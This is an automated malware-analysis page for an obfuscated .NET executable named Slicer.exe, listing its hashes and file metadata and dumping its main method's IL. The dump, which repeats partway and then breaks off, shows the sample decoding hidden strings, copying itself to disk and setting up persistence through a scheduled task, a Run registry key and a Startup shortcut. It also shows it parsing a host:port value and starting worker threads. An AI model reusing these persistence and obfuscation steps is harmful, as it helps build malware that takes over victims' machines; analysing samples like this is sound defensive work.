Deep Malware Analysis of df0c36ebdb871c0dea060e67a5286e6d | md5: df0c36ebdb871c0dea060e67a5286e6d | Executable | PE (Portable Executable) | Win 32 Exe | x86 | .Net | SOS: 0.95

PE Executable

MD5: df0c36ebdb871c0dea060e67a5286e6d

Size: 345.09 KB

application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Unlock with Essential

Symbol Obfuscation Score Very high

MD5	df0c36ebdb871c0dea060e67a5286e6d
Sha1	0d812627fad6e656880f6f2722f795292d055e1f
Sha256	2b99054ffa1c91ee8d7ad9488a6f835136db28e4c1e42b85db7c0f0492aa9fe3
Sha384	da990500db42c6b2cd9a870297f53c48547572baf4b08e2266d3e5b93dd0d6a3d5d0ae8af501d83fe2e8e38d68be2f71
Sha512	f677436221a9189e8835d8902ad98bd4f7ca4781f8270e6970dba9d554574a26b4c37548309d0662f3ecfd46e0bb27a7187a2eaf1be9f254b6a6be8808815dfb
SSDeep	3072:obyX7QhPZOWxgbFl0AuKKOH9XzkI9bzx03Vkh/SQ96BsJDhShFB:8yLwP6bHnuK5j9fmVkh2Bss
TLSH	4E74B24862FC40DEF01B073D5C259A254634AC6FBE86DF6A6BCE7BDC29734919060B27

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

Name	Value
Module Name	Slicer.exe
Full Name	Slicer.exe
EntryPoint	`System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::28ABrl6EiIvzmvkEccyRugI2No07CGocWj4T2jPhBXgqUfJ()`
Scope Name	Slicer.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Slicer
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	445
Main Method	`System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::28ABrl6EiIvzmvkEccyRugI2No07CGocWj4T2jPhBXgqUfJ()`
Main IL Instruction Count	361
Main IL	ldsfld System.Int32 GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::2tXxMPXvoKdbtAHwxCM3sVUkv8afxig1f1HjsPdLTWdwlu0 ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::XZAoR8ImtOV7namxWuQ1S4qlRpDqqOwTgpVMsM2c2FUOTIC call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::XZAoR8ImtOV7namxWuQ1S4qlRpDqqOwTgpVMsM2c2FUOTIC ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::Uu5RUw2djIxLPvKSF6B7moDiX4GQ2bf0OjI7xcyuURpO8Va call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::Uu5RUw2djIxLPvKSF6B7moDiX4GQ2bf0OjI7xcyuURpO8Va ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::YkNVxagxnzUjSI5OmBqRd0Cx2SdJ0MEiRQ7eJML15Q6p5xG call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::YkNVxagxnzUjSI5OmBqRd0Cx2SdJ0MEiRQ7eJML15Q6p5xG ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::F0VgRTu7Nxqju6LuZQeqUf8cEPiy5Cao3jexfguYwcNmbbT call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::F0VgRTu7Nxqju6LuZQeqUf8cEPiy5Cao3jexfguYwcNmbbT ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::NDQzNImpdeihgpyDK2wlMkAWud4pmBLESTJO3xs8Jf6EaGd call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::NDQzNImpdeihgpyDK2wlMkAWud4pmBLESTJO3xs8Jf6EaGd ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::HalC9TlvT8aeh69BsmUEtdzKaBQe5fMt87ymt4OTecYHIH8 call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::HalC9TlvT8aeh69BsmUEtdzKaBQe5fMt87ymt4OTecYHIH8 ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::AS90mllGgLlaDgO7GD6uCJCdQYupAgpHwDRz6moMVZxXi4l call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::AS90mllGgLlaDgO7GD6uCJCdQYupAgpHwDRz6moMVZxXi4l ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::GF9edgGANBgl1Pudu62FupzIMBZTBUAZPb0cS1RNq64uY2p call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::GF9edgGANBgl1Pudu62FupzIMBZTBUAZPb0cS1RNq64uY2p ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::lSmQmskT3nvAPXljctVSqOKMRXVYhhGmYkGpuAWspBvUwQ3 call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::lSmQmskT3nvAPXljctVSqOKMRXVYhhGmYkGpuAWspBvUwQ3 leave.s IL_00F4: call System.Boolean Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::ZKY1nmGmQSWpIupku9aknc2jyydBABmLDGIQDXgBFv1PZ9RtAYQtLtvCX1DK1PMZ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00F4: call System.Boolean Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::ZKY1nmGmQSWpIupku9aknc2jyydBABmLDGIQDXgBFv1PZ9RtAYQtLtvCX1DK1PMZ() call System.Boolean Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::ZKY1nmGmQSWpIupku9aknc2jyydBABmLDGIQDXgBFv1PZ9RtAYQtLtvCX1DK1PMZ() brtrue.s IL_0101: call System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::hWkpR7jxMAPqFiWIYWOOu5SGKY2QfZhtahy0guydIjH9ckl() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::hWkpR7jxMAPqFiWIYWOOu5SGKY2QfZhtahy0guydIjH9ckl() leave.s IL_0117: call System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::r89rS1bmkg4xk5V93Qhq12sUY52iMFDRcKUKYPmF0szS8he() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_5 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0117: call System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::r89rS1bmkg4xk5V93Qhq12sUY52iMFDRcKUKYPmF0szS8he() call System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::r89rS1bmkg4xk5V93Qhq12sUY52iMFDRcKUKYPmF0szS8he() ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::HalC9TlvT8aeh69BsmUEtdzKaBQe5fMt87ymt4OTecYHIH8 ldstr \ ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_6 ldloc.s V_6 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_015E: ldloc.1 ldloc.s V_6 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0175: ldc.i4 1000 ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.1 <null> ldsfld System.String Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::2WrOI7vuTd6R0ToLW8NmVo4DlMp2nJEuC0zctq3LdrhyoG9zskBQyA0xGgdQ6P9q call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_01A0: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_01A0: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_10 ldloc.s V_10 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.L8kfih6vEBrrJJyJUGesbxVBck434Een::Iz6xtUYfKUhKaIFdPk4p3xEsjbn1YZsj() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0206: ldloc.s V_10 ldloc.s V_10 ldc.i4.5 <null> newarr System.String stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_15 ldc.i4.1 <null> ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_15 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_15 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_15 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_15 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_024A: ldloc.s V_10 ldloc.s V_10 ldc.i4.5 <null> newarr System.String stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_15 ldc.i4.1 <null> ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_15 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_15 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_15 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_15 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_10 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_9 ldloc.s V_9 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_026B: call My.JGTIHgXWmBk01mKUQYZGYt95IZX6rB0s5EPjAxFK3XveDKF My.VpYPPeSHgwB8SLgEYHyKqa2Ne1jQWGbjFSzQ1kn5h6hzbJY::GixmPod2Tywp1wHeeHiFcfohUeC6xOHYkYYuJ2ueOtJPWQL() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_026B: call My.JGTIHgXWmBk01mKUQYZGYt95IZX6rB0s5EPjAxFK3XveDKF My.VpYPPeSHgwB8SLgEYHyKqa2Ne1jQWGbjFSzQ1kn5h6hzbJY::GixmPod2Tywp1wHeeHiFcfohUeC6xOHYkYYuJ2ueOtJPWQL() call My.JGTIHgXWmBk01mKUQYZGYt95IZX6rB0s5EPjAxFK3XveDKF My.VpYPPeSHgwB8SLgEYHyKqa2Ne1jQWGbjFSzQ1kn5h6hzbJY::GixmPod2Tywp1wHeeHiFcfohUeC6xOHYkYYuJ2ueOtJPWQL() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.1 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_02A6: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02A6: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_13 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_16 ldloc.s V_16 ldc.i4.0 <null> ldloc.s V_13 stelem.ref <null> ldloc.s V_16 stloc.s V_17 ldloc.s V_17 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_18 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_18 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_032B: stloc.s V_19 ldloc.s V_17 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_13 stloc.s V_19 ldloc.s V_19 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_20 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_19 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_20 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_19 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_19 ldloc.s V_13 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::VvBRNPmHGmoSrGmXMNEPCJ7bZRNTeHLyQ14UgFjavpmCqz0VLb7osUfL64jyuB6x leave.s IL_03AA: call System.Void Stub.kfp7M0BahqUEfBN83BHJAssA8uS5f80D::ZghgdyOPFA1drqI5wB2TT0XCTVMLfVHc() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_14 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_03AA: call System.Void Stub.kfp7M0BahqUEfBN83BHJAssA8uS5f80D::ZghgdyOPFA1drqI5wB2TT0XCTVMLfVHc() call System.Void Stub.kfp7M0BahqUEfBN83BHJAssA8uS5f80D::ZghgdyOPFA1drqI5wB2TT0XCTVMLfVHc() ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::NDQzNImpdeihgpyDK2wlMkAWud4pmBLESTJO3xs8Jf6EaGd call System.String Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::V2sKkjfDl8cOiR72AwKc2SHmSBTy1WQXkEjTIKCr3QFcVkR(System.String) stloc.0 <null> ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_21 ldloc.s V_21 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_21 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::K7OZo3seLj7o3Bgt9y0EgDPv4FFD1xxjq9sidjznBBm0p1Q ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_21 ldloc.s V_21 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_21 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.1 <null> ldelem.ref <null> stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::AM2A1XpdULFkXEIvBT8nytWFgjZ333gluWaQ4oekryjwEuP call System.Void Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::VmChO5rBE0bh4PgRYHO674VB8qIfiUu3ll6UXr2CqxGFSr8hRj5BDtGQyXmGjqhz() ldnull <null> ldftn System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::PgPl07cPTCL3gOqtaKuZHSyklVEXgDGS() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::sDvimhnvUXrD5G4vQ3PWhuFu8EOuU00k() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.L8kfih6vEBrrJJyJUGesbxVBck434Een::Iz6xtUYfKUhKaIFdPk4p3xEsjbn1YZsj() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0436: ldnull call System.Void Stub.Fwr4Ie49zw3v39xJ3uldBhQF2CsA1WEp::WVFE40FGy80JeBMk0gxijAacJ7wCYNcPXAPqu9r3yXn9S9F7oyRx1dN9xQWsDEj5() ldnull <null> ldftn System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::fiqQkiCyiAMPh638YYlUSHEe8sg4ewbt() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldnull <null> ldftn System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::HPPfB8Ju5q8hqAOMh6wwElsm8HSaOaUO() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name	Slicer.exe
Full Name	Slicer.exe
EntryPoint	`System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::28ABrl6EiIvzmvkEccyRugI2No07CGocWj4T2jPhBXgqUfJ()`
Scope Name	Slicer.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Slicer
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	445
Main Method	`System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::28ABrl6EiIvzmvkEccyRugI2No07CGocWj4T2jPhBXgqUfJ()`
Main IL Instruction Count	361
Main IL	ldsfld System.Int32 GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::2tXxMPXvoKdbtAHwxCM3sVUkv8afxig1f1HjsPdLTWdwlu0 ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::XZAoR8ImtOV7namxWuQ1S4qlRpDqqOwTgpVMsM2c2FUOTIC call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::XZAoR8ImtOV7namxWuQ1S4qlRpDqqOwTgpVMsM2c2FUOTIC ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::Uu5RUw2djIxLPvKSF6B7moDiX4GQ2bf0OjI7xcyuURpO8Va call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::Uu5RUw2djIxLPvKSF6B7moDiX4GQ2bf0OjI7xcyuURpO8Va ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::YkNVxagxnzUjSI5OmBqRd0Cx2SdJ0MEiRQ7eJML15Q6p5xG call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::YkNVxagxnzUjSI5OmBqRd0Cx2SdJ0MEiRQ7eJML15Q6p5xG ldsfld System.String 